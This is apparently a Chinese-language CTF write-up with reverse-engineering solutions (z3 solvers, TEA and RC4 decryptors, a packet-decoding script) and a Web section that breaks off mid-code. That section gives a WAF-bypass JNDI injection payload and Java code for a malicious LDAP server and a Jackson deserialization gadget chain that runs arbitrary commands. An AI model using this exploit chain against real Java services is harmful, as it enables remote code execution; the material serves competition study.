'#(main #<path:G:\Study\Racket\BC\Racket\Akira.rkt> 122 0 3322 1747 #f)
'()
0
'()
#f
'#(0)
'(val/ref)
(set 17 22 26 23 31 32 37 1 5 13 6 10 14 3 7 15 36)
39
'#s((seq expr 0 form 0 zo 0)
(#s((application expr 0 form 0 zo 0)
#s((primval expr 0 form 0 zo 0) 445)
("Please enter flag:"))
#s((application expr 0 form 0 zo 0)
这一段进行了main函数的定义,并且定义了一些栈上的临时变量和逻辑。其中primval
是racket反编译中定义类似标识符的概念。racket中会将内置变量放在当前的运行环境中,需要配合使用这个脚本进行dump,才能完全看懂整体逻辑。
整体逻辑为
- 检查输入字符串长度是否为31字节
- 如果满足,则使用广度遍历构建二叉树,并且将所有的节点右旋
- 最后再最开始加上0x30元素,之后将每两个元素进行相加/相减,最后与指定的数组列表进行比较
from z3 import *
content = [0]*10
# rotatelist
rotate_list =[16,7,18,8,17,3,20,9,22,10,21,4,19,1,24,11,26,12,25,5,28,13,30,14,29,6,27,2,23,0,15]
add_list = [101,164,145,156,158,106,152,164,216,112,175,193,145,190,153,149]
sub_list = [251,60,211,198,194,8,218,230,12,16,45,25,45,0,209,51]
solver = Solver()
buf = []
for i in range(32):
buf.append(BitVec('{}'.format(i),8))
solver.add(ULT(32,buf[i]))
solver.add(UGT(128, buf[i]))
first_sum = 0
for i in range(0,32,2):
solver.add(buf[i]+buf[i+1] == add_list[i//2])
solver.add(buf[i]-buf[i+1] == sub_list[i//2])
first_sum += buf[i]
solver.add(first_sum == 1230)
tmp_flag = []
final_flag = [0] * 32
if solver.check() == sat:
model = solver.model()
for each in buf:
value = model[each].as_long()
tmp_flag.append(value)
tmp_flag = tmp_flag[1:]
for i,each in enumerate(rotate_list):
final_flag[each] = tmp_flag[i]
for each in final_flag:
print(chr(each),end='')
Dr.Akira
程序本身使用themida加了壳,直接用ida打开也能看到。于是这里使用这个工具可以轻易的把壳脱掉,之后就能对程序进行基本的逆向。
可以看到,程序基本的逻辑为从注册表读入一个大数字Data,然后会将这个大数字喂入一些奇怪的加密函数中,最后和一个栈上的值进行比较。于是这里我们可以简单写一个脚本对逻辑进行逆向。
逆向处理后,发现是一段叫做Master__0f__THE_Windows_Delphi
的字符串,通过逆向分析发现,程序希望将Data的值进行类似RSA大整数加密的逻辑,实现数据的解密。
通过观察发现,这里的E似乎太大了,于是考虑使用WienerAttack
,使用对应脚本计算可得d的值为d = 24148649361037793876488182229470214987409054478429360732252558238236696170653
于是进一步可得对应的加密数据为: 962d82971fb182b70e3a6d493a58133a779aa22947cf8d4b0c69b81846ed24daf4341e21f1ecfdf01687a1ff0dba88af2e331ec4c0d26a5e3d49a94b50ec9c11d484db1bae528a4ec1112b604e567b7e39badec7742097e438f890027050897a667de1418d1e3b48ff83087c61193b56b07b8b03d5503d8205a096a1e1136533
最终,将这段数据放入对应的注册表项目(HKEY_CURRENT_USER\Software\DrAkira
中的MyKeys
),等程序自动释放jpg后,便可得到一张图,图上即为flag
PPTT
俩反调试的点:
一个是全局初始化函数搞了一个API模拟
第二个是SEH异常,跳过了下面这个代码
temp = result[15];
result[15] = result[16];
result[16] = temp;
IDA这个死出会断下来,但我真不知到咋设计了,就当是障眼法
int main()
{
char temp = 0;
char result[0x40] = "dpsqyeamsTau{nqR}CtFwjsk";
temp = result[7];
result[7] = result[17];
result[17] = temp;
temp = result[18];
result[18] = result[8];
result[8] = temp;
temp = result[3];
result[3] = result[19];
result[19] = temp;
temp = result[20];
result[20] = result[9];
result[9] = temp;
temp = result[21];
result[21] = result[22];
result[22] = temp;
temp = result[10];
result[10] = result[4];
result[4] = temp;
temp = result[1];
result[1] = result[23];
result[23] = temp;
temp = result[11];
result[11] = result[12];
result[12] = temp;
temp = result[5];
result[5] = result[13];
result[13] = temp;
temp = result[14];
result[14] = result[6];
result[6] = temp;
temp = result[2];
result[2] = result[0];
result[0] = temp;
cout << result << endl;
}
然后由题目可以知道,前序遍历后13位的结果是 “tyeuaTsm}qjrp”
在API模拟那里将第23个字节改了下,正确的结果应该是 “tyeuaTsm}qjsp”
先根据Z3求解得出Data0~Data3,注意有乱序
from z3 import *
R0 = BitVec('R0', 64)
R1 = BitVec('R1', 64)
R2 = BitVec('R2', 64)
s = Solver() # 创建约束求解器
s.add(((R0 & R2) & ~(((R1 & R2) ^ (R0 & R2)) - 0x114514) | (((R0 & R2) | (R0 & R1)) + 0x10086) & ((R0 & R2) ^ (R0 & R1)) | (R0 & R1) & ~(((R0 & R2) | (R0 & R1)) + 0x10086) | (R0 & R1) & ~(((R1 & R2) ^ (R0 & R2)) - 0x114514)) ^ R0==0x400010000622000)
s.add(((((R0 & R2) | (R0 & R1)) + 0x10086) - (R0 & R1)) ^ (((R1 & R2) ^ (R0 & R2)) - 0x114514)==0x2100a0203efbb8b)
s.add((R0 & R1) ^ (((R0 & R2) | (R0 & R1)) + 0x10086) ^ ((R0 & R2) ^ (R0 & R1))==0x4083102108e)
s.add((((R0 & R2) ^ (R0 & R1)) ^ (((R0 & R2) | (R0 & R1)) + 0x10086)) - (((R1 & R2) ^ (R0 & R2)) - 0x114514)==0x1551566f3c6485ed)
s.add((R1 & R2) ^ (((R0 & R2) | (R0 & R1)) + 0x10086) ^ (((R1 & R2) ^ (R0 & R2)) - 0x114514)==0x40836ecab9a)
s.add(((R0 & R1) ^ ((R0 & R2) ^ (R0 & R1))) - (((R1 & R2) ^ (R0 & R2)) - 0x114514 )==0x3e51566f3c718563)
s.add(R0-R1==0x1aeff6fdfc121bf1)
#s.add(R0 & 0x0000ff0000000000==0x54)
s.add(R0 & 0xffffffffff00ff00==0x6d61657971007000)
s.add(R1 & 0xff0000ffff00ffff==0x5200007b75005473)
s.add(R2 & 0x00ffff00ffffffff==0x00736a004674437d)
s.add((R1+R2+R0)%10==8)
set_option('auto_config', True)
# 获取所有解
while s.check() == sat:
# 获取一个解
model = s.model()
print("Solution:", model)
# 添加约束,排除已找到的解
s.add(Or(R0 != model[R0], R1 != model[R1], R2 != model[R2]))
排除掉一个解,结果是下面一个
这个其实就是二叉树的中序遍历结果加乱序后的结果
这就是中序遍历的结果
因为是按照层序建的树,因此是可以把Flag推出来的
中序遍历对应原来字符串的位置
15 7 16 3 17 8 18 1 19 9 20 4 21 10 22 0 23 11 5 12 2 13 6 14
RCTF{sjknwemqspsdaqtyua}
char str3[0x20] = "skdFanqCtwy{ueaR}msqTsjp";
char str4[0x20] = {};
int arr[0x20] = { 15,7,16,3,17,8,18,1,19,9,20,4,21,10,22,0,23,11,5,12,2,13,6,14 };
for (int i = 0; i < 24; i++)
{
str4[arr[i]] = str3[i];
}
cout << str4 << endl;
得到Flag
re1
算法逆向,首先测试该题目,发现输入相同内容,输出的enc结果不同,推测存在使用随机数的情况。
通过sting回溯出./enc
字符串位置,又由start函数直接调用,可推断出main函数主体位置。
使用ida进行反编译,发现函数内容相当复杂,存在被混淆的情况,因此结合动态调试进行分析。通过结合数据进行动态的逆向分析,分析可得,该程序首先生成了一组数据,并构建了树结构对数据进行了保存,用于改变实际输入数据的处理顺序。
并且,在输入数据的处理过程中,引入了随机数,因此随机数仅用于与第一个字节进行异或运算,因此,可爆破255次进行还原。
在该部分处理和,使用了rc4算法,结合线性异或,使数据完整性变化。结合动态调试结果,可得到rc4算法的密钥为RCTF_2024_fighting
。由于rc4算法的密钥仅用于生成sbox,因此可直接提取用于异或计算的数据。
解题脚本为
sbox = [95, 31, 164, 26, 68, 200, 100, 220, 219, 60, 177, 211, 189, 151, 203, 201, 29, 152, 207, 211, 77, 115, 86, 42, 250, 70, 200, 172, 158, 211, 147, 25, 62, 31, 50, 179]
enc = [0x31, 0x11, 0xB9, 0xFD, 0xD4, 0x41, 0x0C, 0xAD, 0x59, 0x0A, 0xA2, 0x5C, 0xF9, 0x47, 0xD8, 0x0D, 0x4C, 0xC8, 0x60, 0x80, 0xCF, 0xE1, 0x87, 0xF9, 0x67, 0x22, 0x86, 0x05, 0xEB, 0x2A, 0xEB, 0xE6, 0xA2, 0xB4, 0xEE, 0x53]
beforeShuffle = [0 for i in range(len(enc))]
for i in range(0, len(enc) - 1):
beforeShuffle[len(enc) - 1 - i] = enc[len(enc) - 1 - i] ^ sbox[len(enc) - 1 - i] ^ enc[len(enc) - 1 - i - 1]
beforeShuffle[0] = sbox[0] ^ beforeShuffle[-1] ^ enc[0]
idxs = [32, 14, 34, 10, 25, 29, 13, 31, 0, 20, 24, 11, 16, 8, 35, 22, 18, 19, 4, 2, 15, 21, 33, 30, 28, 27, 5, 1, 17, 6, 26, 3, 9, 12, 23, 7]
for i in range(255):
flag = [0 for t in range(len(enc))]
flag[idxs[0]] = beforeShuffle[0] ^ i
for j in range(1, len(beforeShuffle)):
flag[idxs[j]] = beforeShuffle[j - 1] ^ beforeShuffle[j]
if flag[0] == ord('R') and flag[1] == ord('C') and flag[2] == ord('T'):
_flag = ""
for p in flag:
_flag += chr(p)
print(_flag)
break
re2
本题为dwarf实现的整体代码逻辑,通过分析题目可以发现,出题人为了防止选手通过readelf对赛题进行分析,使用了花指令级等技术。对于此类赛题,可通过还原dwarf的opcode,将其使用等价的c语言进行替换,并使用gcc加上优化参数,实现快速分析。
通过解析后,可发现是tea加密算法,在最后两轮中将delta额外+1
#include "stdio.h"
int main(){
unsigned long v1 = 0xcdc0d2a56f650e5a;
unsigned long v0 = 0x52b722a6f983bd7e;
unsigned long k[] = {11, 22, 33, 44};
unsigned long delta = 0x9e3779b9;
unsigned long sum = delta * 32 + 2;
for(int i =0 ; i < 2; i ++){
v1 -= ((v0<<4) + k[2]) ^ (v0 + sum) ^ ((v0>>5) + k[3]);
v0 -= ((v1<<4) + k[0]) ^ (v1 + sum) ^ ((v1>>5) + k[1]);
sum -= (delta + 1);
}
for(int i =0 ; i < 30; i ++){
v1 -= ((v0<<4) + k[2]) ^ (v0 + sum) ^ ((v0>>5) + k[3]);
v0 -= ((v1<<4) + k[0]) ^ (v1 + sum) ^ ((v1>>5) + k[1]);
sum -= (delta);
}
printf("%lx, %lx", v0, v1);
}
神秘系统_re
第一步: 分析报文,格式如下:
00000000 36 00 00 6..
00000003 1f d7 1d 5c ed 86 d9 55 35 66 66 c2 d0 30 7a 2c ...\...U 5ff..0z,
00000013 cc ee 24 ec 73 f4 36 45 42 82 41 1b a4 d4 9a 55 ..$.s.6E B.A....U
00000023 31 66 66 c8 9e 21 7a 64 9f dc 7f b0 6b f3 38 5e 1ff..!zd ....k.8^
00000033 4c 87 59 1f bb a9 L.Y...
00000000 1c 00 00 1f d7 1d 5c ed 86 d9 55 35 66 66 c2 dc ......\. ..U5ff..
00000010 66 6d 3b cc f7 24 ec 20 a0 22 55 55 8b 5c 13 fm;..$. ."UU.\.
00000039 d9 00 00 ...
0000003C 5d 9c 4f 5f f8 90 98 49 35 2a 62 cc 9e 22 73 3b ].O_...I 5*b.."s;
0000004C cd 8d 79 ac 73 ad 79 1b 08 de 0a 58 d7 9b 89 58 ..y.s.y. ...X...X
0000005C 3e 00 39 83 d0 2e 7e 30 db eb 2e f0 0c a6 74 1a >.9...~0 ......t.
0000006C 1f d7 65 1e a6 d4 91 5c 3e 6e 66 c8 82 19 7a 30 ..e....\ >nf...z0
0000007C dc 8d 7e ac 73 ad 79 1b 08 de 0a 58 d7 99 90 45 ..~.s.y. ...X...E
0000008C 5a 3c 24 8d 98 27 71 3a d3 e2 39 dd 30 ad 7d 16 Z<$..'q: ..9.0.}.
0000009C 07 c1 1a 47 82 c3 d7 1d 38 6b 64 c9 9c 23 6d 01 ...G.... 8kd..#m.
000000AC dc f2 39 f0 36 ab 6c 7f 54 9c 4f 58 ed 95 9d 1d ..9.6.l. T.OX....
000000BC 34 6b 7e cc fa 7f 31 7e cd e2 2a e6 73 a1 79 01 4k~...1~ ..*.s.y.
000000CC 0d 92 09 58 e7 99 d9 5b 39 66 6f a7 c1 76 31 7e ...X...[ 9fo..v1~
000000DC c8 f5 22 f6 36 e5 7c 14 18 d3 65 1b b9 da d9 4a ..".6.|. ..e....J
000000EC 22 63 7e c8 d0 22 7e 2a de a7 3f ed 73 a3 71 19 "c~.."~* ..?.s.q.
000000FC 09 b8 5e 18 a6 d4 9f 54 3c 6f 2a de 99 3c 7a 54 ..^....T <o*..<zT
0000010C 8e b4 65 a2 36 bd 71 01 66 09 00 00 0f da 00 43 ..e.6.q. f......C
0000011C eb 91 c7 03 70 ....p
0000001F 01 00 00 5d ...]
00000121 0b 00 00 ...
00000124 0d d6 02 43 e6 b7 96 59 35 30 2a ...C...Y 50*
00000023 05 00 00 0d d6 02 43 e6 ......C.
仔细观察可以看到,接收报文和发送报文存在明显特征,其中首部3字节代表长度,后续是发送的数据,
第二步: 观察发送数据规律,可以得到发送数据存在大量重复数据,猜测使用异或编码,统计得到加密key串,具体见 deal.py 的calc_key函数:
第三步: 使用 key 解密接收和发送数据,可以还原出交互流程,具体见 deal.py 的 decode_pkt_file 函数,解出了 recv.log和send.log,以及发送和接收的文件
第四步: 分析交互流程,可以看到,程序上传了一个 handler_impl.bin 插件,然后在调用其中的 enc 和 mix 功能,具体逆向 handler_impl.bin 的相关函数可以得到
第五步: 分析handler_impl.bin 插件, 可以看到,存在一下简单的混淆算法,通过逆向可以看出,最终将libc文件使用 enc函数是 哈夫曼编码算法,最终结果在与28字节的secret文件进行了异或。
第六步: 根据哈夫曼编码特性,左枝为0,右枝为1,且权重越大,路径越小,在编码过程中,存在大量的0000数据,因此可以通过统计规律算出secret文件,具体见deal.py 的 dec_stage3
算出来secret文件内容为:flag{is_in_the_end_of_libc!},说明要把libc文件解密完才能看到,所以对recv_dec.bin进行哈夫曼解码,即可获得flag
deal.py:
from pwn import *
def readfile(fn, md = "rb"):
with open(fn, md) as fd:
return fd.read()
def writefile(fn, data, md = "wb"):
with open(fn, md) as fd:
return fd.write(data)
def enc_res(infile, secret_file, outfile):
content = readfile(infile)
secret = readfile(secret_file)
result = []
for i in range(len(content)):
v = content[i]
v = v ^ secret[i%len(secret)]
v += i
v ^= 92
result.append(v&0xff)
writefile(outfile, bytes(result))
def calc_checksum(data):
res = 0
for v in data:
res += v
return res & 0xffffffff
def gen_enc_file():
#enc_res("res_0.bin", "secret.txt", "res_0_enc.bin")
#205674267
secret = b"flag{is_in_the_end_of_libc!}"
print(sum(secret))
print("calc_checksum:", calc_checksum(readfile("secret.txt")))
print("calc_checksum:", calc_checksum(readfile("./docker/bin/libc-2.31.so")))
print("calc_checksum:", calc_checksum(readfile("res_mix.bin")))
#input(":")
def mix_dec_file(infile, secret, outfile):
content = readfile(infile)
result = []
for i in range(len(content)):
v = content[i]
v = ((v ^ 92) - i)&0xff
v ^= secret[i%len(secret)]
result.append(v&0xff)
writefile(outfile, bytes(result))
def xor_data(data, key):
result = []
for i in range(len(data)):
result.append(data[i] ^ key[i%len(key)])
return bytes(result)
def calc_key(filename):
content = readfile(filename)
i = 0
while i < len(content):
size = u32(content[i:i+3] + b"\x00")
print("offset: %x, size: %x"%(i, size))
i += 3
i += size
input("offset")
onePkt = content[0x43:0x37e8 + 0x43]
count = [c for c in range(0x100)]
index = [c for c in range(0x100)]
for j in range(0, len(onePkt)):
v = onePkt[j]
count[v] += 1
print(i, "-----------")
max_v = max(count)
for j in range(0x100):
if count[j] == max_v:
print(j, count[j])
print(0, count[0])
for j in range(0x100):
max_v = count[j]
max_j = j
for k in range(j + 1, 0x100):
if count[k] > max_v:
max_v = count[k]
max_j = k
tmp = count[j]
count[j] = count[max_j]
count[max_j] = tmp
tmp = index[j]
index[j] = index[max_j]
index[max_j] = tmp
for j in range(0x30):
print("\t", j, count[j], hex(index[j]))
input("check")
map_v = {}
for line in onePkt.split(b"\xf4"):
line = b"\xf4" + line
if line in map_v.keys():
map_v[line] += 1
else:
map_v[line] = 1
array_v = []
max_count = 0
max_key = None
for key in map_v.keys():
print(key, len(key), map_v[key])
if map_v[key] > max_count:
max_count = map_v[key]
max_key = key
#array_v.append([])
print("max:")
print(max_key)
print(max_count)
pos = onePkt.find(max_key)
print("pos:", pos)
offset = len(max_key) - (pos % len(max_key))
print("offset:", offset)
max_key = max_key[offset:] + max_key[:offset]
res = xor_data(onePkt, max_key)
writefile("handler.so", res)
return max_key
def decode_pkt_file(filename, key, logfile, prefix):
content = readfile(filename)
i = 0
while i < len(content):
size = u32(content[i:i+3] + b"\x00")
print("offset: %x, size: %x"%(i, size))
i += 3
dec_data = xor_data(content[i:i+size], key)
if (size < 0x1000):
writefile(logfile, b"pkt[%d]:%s"%(len(dec_data), repr(dec_data).encode()), "ab+")
writefile(logfile, b"\n---------------\n", "ab+")
else:
binfile = b"%s_%x.bin"%(prefix, i)
writefile(logfile, b"pkt[%d]:%s [%s]\n"%(len(dec_data), prefix, binfile), "ab+")
writefile(binfile, dec_data)
i += size
def dec_stage3(filename):
content = readfile(filename)
content = content[0x103:]
secret_size = 0x1c
#secret = b"blqbwkhbhqgbribolef$\x80iodj~lv"
#secret = b"flag{is_in_the_end_of_libc!}"
secret = [0]*28
secret_res = []
for i in range(secret_size):
count = [c for c in range(0x100)]
index = [c for c in range(0x100)]
for j in range(i, len(content), secret_size):
v = content[j]
v = ((v ^ 92) - (j+0x103))&0xff
v ^= secret[i]
count[v] += 1
print(i, "-----------")
max_v = max(count)
for j in range(0x100):
if count[j] == max_v:
print(j, count[j])
print(0, count[0])
for j in range(0x100):
max_v = count[j]
max_j = j
for k in range(j + 1, 0x100):
if count[k] > max_v:
max_v = count[k]
max_j = k
tmp = count[j]
count[j] = count[max_j]
count[max_j] = tmp
tmp = index[j]
index[j] = index[max_j]
index[max_j] = tmp
secret_res.append(index[0])
for j in range(10):
print("\t", j, count[j], index[j])
#input(":")
print(bytes(secret_res))
offset = secret_size - (0x103%secret_size)
print("offset:", offset)
secret_res = secret_res[offset:] + secret_res[:offset]
print(bytes(secret_res))
print("checksum:", calc_checksum(bytes(secret_res)))
#secret_res = b"flag{is_in_the_end_of_libc!}"
#secret_res = bytes(secret_res)
mix_dec_file(filename, secret_res, "recv_dec.bin")
import sys
def main():
#gen_enc_file()
key = calc_key("send.bin")
input("stage1")
decode_pkt_file("send.bin", key, "send.log", b"send")
decode_pkt_file("recv.bin", key, "recv.log", b"recv")
input("stage2")
if len(sys.argv) < 2:
filename = "recv_2b9.bin"
else:
filename = sys.argv[1]
dec_stage3(filename)
if __name__ == "__main__":
main()
noval cython
sbox + 2*tea
from ctypes import *
def decrypt(v, k):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
delta = 0x12345678
sum1 = c_uint32(delta * 32)
for i in range(32):
#print(v0.value, v1.value)
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
sum1.value -= delta
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
return v0.value, v1.value
enc=[1386864498, 2877138732, 1777260482, 2497145277, 3597120006, 1325784378, 2594093622, 2669766624]
import random
random.seed(1337)
xixi = [random.randint(0,0xffffffff) for i in range(4)]
sbox = [12, 17, 10, 6, 5, 27, 31, 15, 11, 8, 13, 21, 24, 1, 26, 22, 9, 16, 18, 25, 29, 19, 0, 3, 7, 14, 30, 4, 23, 2, 28, 20]
random.seed(7331)
haha = [random.randint(0,0xffffffff) for i in range(4)]
for i in range(0, 8, 2):
tmp = enc[i:i + 2]
enc[i:i + 2] = decrypt(tmp, haha)
# print(t)
for i in range(0, 8, 2):
tmp = enc[i:i + 2]
enc[i:i + 2] = decrypt(tmp, xixi)
from struct import pack
flag = []
for i in range(8):
flag+=list(pack("<I",enc[i]))
result = [0]*len(flag)
for i in range(len(flag)):
result[sbox[i]] = flag[i]
print(bytes(result))
block_vm
使用debug_bloker技术,让父进程以调试模式启动子进程,在子进程中人为构造一些异常,通过switch_case结构在父进程中对断点异常,內存访问异常,除0异常和特权指令异常做出响应,
正常的debug_bloker应当把主逻辑隐藏在子进程中,本题稍改,把子进程的异常转为对输入进行操作,实现了一个较为简易的vm
smc
手动设置int3 断点,主函数中通过读內存和写內存的方式进行自解密,就是一个异或0x44
自解密后的汇编代码如下:
.text:0041188D push ebx
.text:0041188E xor ebx, ebx
.text:00411890 idiv ebx
.text:00411892 push eax
.text:00411893 mov eax, 8049CC0h
.text:00411898 inc eax
.text:00411899 xor eax, 77h
.text:0041189C mov eax, [esp+114h+var_114]
.text:0041189F add esp, 4
.text:004118A2 mov [ebp+var_30], 0
.text:004118A9 jmp short loc_4118B4
.text:004118AB ; ---------------------------------------------------------------------------
.text:004118AB
.text:004118AB loc_4118AB: ; CODE XREF: sub_411850+91↓j
.text:004118AB mov eax, [ebp+var_30]
.text:004118AE add eax, 1
.text:004118B1 mov [ebp+var_30], eax
.text:004118B4
.text:004118B4 loc_4118B4: ; CODE XREF: sub_411850+59↑j
.text:004118B4 cmp [ebp+var_30], 19h
.text:004118B8 jge short loc_4118E3
.text:004118BA mov eax, [ebp+var_30]
.text:004118BD movsx ecx, byte ptr [ebp+eax+var_24]
.text:004118C2 sar ecx, 3
.text:004118C5 and ecx, 1Fh
.text:004118C8 mov edx, [ebp+var_30]
.text:004118CB movsx eax, byte ptr [ebp+edx+var_24]
.text:004118D0 shl eax, 5
.text:004118D3 and eax, 0E0h
.text:004118D8 or ecx, eax
.text:004118DA mov edx, [ebp+var_30]
.text:004118DD mov byte ptr [ebp+edx+var_24], cl
.text:004118E1 jmp short loc_4118AB
.text:004118E3 ; ---------------------------------------------------------------------------
.text:004118E3
.text:004118E3 loc_4118E3: ; CODE XREF: sub_411850+68↑j
.text:004118E3 pop ebx
.text:004118E4 hlt
.text:004118E4 sub_411850 endp
.text:004118E4
.text:004118E5 ; ---------------------------------------------------------------------------
.text:004118E5 sub esp, 4
.text:004118E8 mov [esp], eax
.text:004118EB mov eax, 8049DD1h
.text:004118F0 inc eax
.text:004118F1 xor eax, 59h
.text:004118F4 mov eax, [esp]
.text:004118F7 add esp, 4
.text:004118FA mov dword ptr [ebp-3Ch], 0
.text:00411901 jmp short loc_41190C
.text:00411903 ; ---------------------------------------------------------------------------
.text:00411903
.text:00411903 loc_411903: ; CODE XREF: .text:00411938↓j
.text:00411903 mov eax, [ebp-3Ch]
.text:00411906 add eax, 1
.text:00411909 mov [ebp-3Ch], eax
.text:0041190C
.text:0041190C loc_41190C: ; CODE XREF: .text:00411901↑j
.text:0041190C cmp dword ptr [ebp-3Ch], 19h
.text:00411910 jge short loc_41193A
.text:00411912 mov eax, [ebp-3Ch]
.text:00411915 movsx ecx, byte ptr [ebp+eax-24h]
.text:0041191A sar ecx, 1
.text:0041191C and ecx, 1Fh
.text:0041191F mov edx, [ebp-3Ch]
.text:00411922 movsx eax, byte ptr [ebp+edx-24h]
.text:00411927 shl eax, 5
.text:0041192A and eax, 0E0h
.text:0041192F or ecx, eax
.text:00411931 mov edx, [ebp-3Ch]
.text:00411934 mov [ebp+edx-24h], cl
.text:00411938 jmp short loc_411903
.text:0041193A ; ---------------------------------------------------------------------------
.text:0041193A
.text:0041193A loc_41193A: ; CODE XREF: .text:00411910↑j
.text:0041193A push ecx
.text:0041193B xor ecx, ecx
.text:0041193D idiv ecx
.text:0041193F pop ecx
.text:00411940 push eax
.text:00411941 mov eax, 0DEADBEEFh
.text:00411946 mov [eax], ebx
.text:00411948 pop eax
.text:00411949 nop
.text:0041194A nop
.text:0041194B int 3 ; Trap to Debugger
.text:0041194C int 3 ; Trap to Debugger
.text:0041194D int 3 ; Trap to Debugger
.text:0041194E int 3 ; Trap to Debugger
.text:0041194F int 3 ; Trap to Debugger
.text:00411950 int 3 ; Trap to Debugger
.text:00411951 int 3 ; Trap to Debugger
.text:00411952 int 3 ; Trap to Debugger
.text:00411953 int 3 ; Trap to Debugger
.text:00411954 int 3 ; Trap to Debugger
.text:00411955 int 3 ; Trap to Debugger
.text:00411956 int 3 ; Trap to Debugger
.text:00411957 int 3 ; Trap to Debugger
.text:00411958 int 3 ; Trap to Debugger
.text:00411959 int 3 ; Trap to Debugger
.text:0041195A int 3 ; Trap to Debugger
.text:0041195B int 3 ; Trap to Debugger
.text:0041195C int 3 ; Trap to Debugger
.text:0041195D int 3 ; Trap to Debugger
.text:0041195E int 3 ; Trap to Debugger
.text:0041195F int 3 ; Trap to Debugger
.text:00411960 int 3 ; Trap to Debugger
.text:00411961 int 3 ; Trap to Debugger
.text:00411962 int 3 ; Trap to Debugger
异或0x7d
构造除0异常进行异或
输入异或0x7d后最后一位就变成0了,后面涉及操作的字符串长度为24位
循环移位
构造停机特权指令进行循环移位,主函数中应该是循环右移2位
rc4加密
构造內存访问异常进行rc4加密
比较
构造24个中断异常进行加密后字符串的比较
混淆
子进程汇编中增加了一些无用的循环移位计算和push pop混淆,目的是让静态分析更复杂
期间还构造过一个除0异常,但是因为在主函数中数组更换的缘故导致该异常实际上没有发挥作用,可以直接舍弃
整体流程
因时间关系整体流程没有涉及得很复杂,就是异或0x7d,循环右移两位,rc4加密,验证的话可以直接在主函数比较处下断点,如下:
flag
RCTF{a_baby_debug_bloker}
Web
OpenYourEyesToSeeTheWorld
常见的ldap-jndi注入sink是lookup函数,lookup会调用c_lookup触发反序列化和类加载
search函数的searchBase参数可控时,输入a/b可调用到c_lookup
加了个waf重写getInputStream()不允许输入/
spring通过jackson反序列化设置controller参数,jackson支持unicode编码,使用\u002f代替/绕过
{"ip":"172.17.0.1","port":1389,"filter":"","searchBase":"a\u002fb"}
反序列化用spring框架jackson那条链
package ysoserial.exploit;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class LDAPListener {
private static final String LDAP_BASE = "dc=example,dc=com";
static byte[] serData;
private static String getClientConnectionName(Object result) throws Exception {
Object clientConnect = Reflections.getFieldValue(result, "clientConnection");
Object name = Reflections.getFieldValue(clientConnect, "name");
return (String) name;
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
public void processSearchResult(InMemoryInterceptedSearchResult result) {
try {
System.out.println(getClientConnectionName(result));
System.out.println("---send start---");
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
sendResult(result, base, e);
System.out.println("---send end---");
} catch (Exception ex) {
ex.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
System.out.println("send serData");
e.addAttribute("javaClassName", "aa");//无需与ldap链接的引用相同//只要连接上就会返回反序列化
e.addAttribute("javaSerializedData", serData);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static void MiniLDAPServer(String addr, int port) throws Exception {
InMemoryDirectoryServerConfig conf = new InMemoryDirectoryServerConfig("dc=evil,dc=com");
conf.setListenerConfigs
(
new InMemoryListenerConfig
(
"listen",
InetAddress.getByName(addr),
Integer.valueOf(port),
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
)
);
conf.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(conf);
ds.startListening();
System.out.println("start listening at :" + addr + ":" + port);
}
public static void main(String[] args) throws Exception {
// String addr = argv[0];
String addr = "0.0.0.0";
if (args.length < 3) {
System.err.println(LDAPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
int port = Integer.parseInt(args[0]);
String gadget = args[1];
String cmd = args[2];
serData = Serializer.serialize(Utils.makePayloadObject(gadget, cmd));
// serData = Serializer.serialize(new rvn.Evill());
MiniLDAPServer(addr, port);
}
}
package ysoserial.payloads;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import ysoserial.payloads.util.*;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Jackson extends PayloadRunner implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
//防止序列化生成exp报错
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
Object templatesImpl = Gadgets.createTemplatesImpl(command);
return TOGetter(templatesImpl);
}
public Object ldapgetter() throws Exception {
Constructor ldapattrcons = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(String.class);
ldapattrcons.setAccessible(true);
Object ldapattr = ldapattrcons.newInstance("attrIDxxx");
Reflections.setFieldValue(ldapattr, "baseCtxURL", "ldap://127.0.0.1:13562");
Reflections.setFieldValue(ldapattr, "rdn", new CompositeName("a//b"));
return ldapattr;
}
public Object TOGetter(Object templatesImpl) throws Exception {
POJONode node = new POJONode(makeTempltaesImplAopProxy(templatesImpl));
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", node);
return badAttributeValueExpException;
}
public Object makeTempltaesImplAopProxy(Object templ) throws Exception {
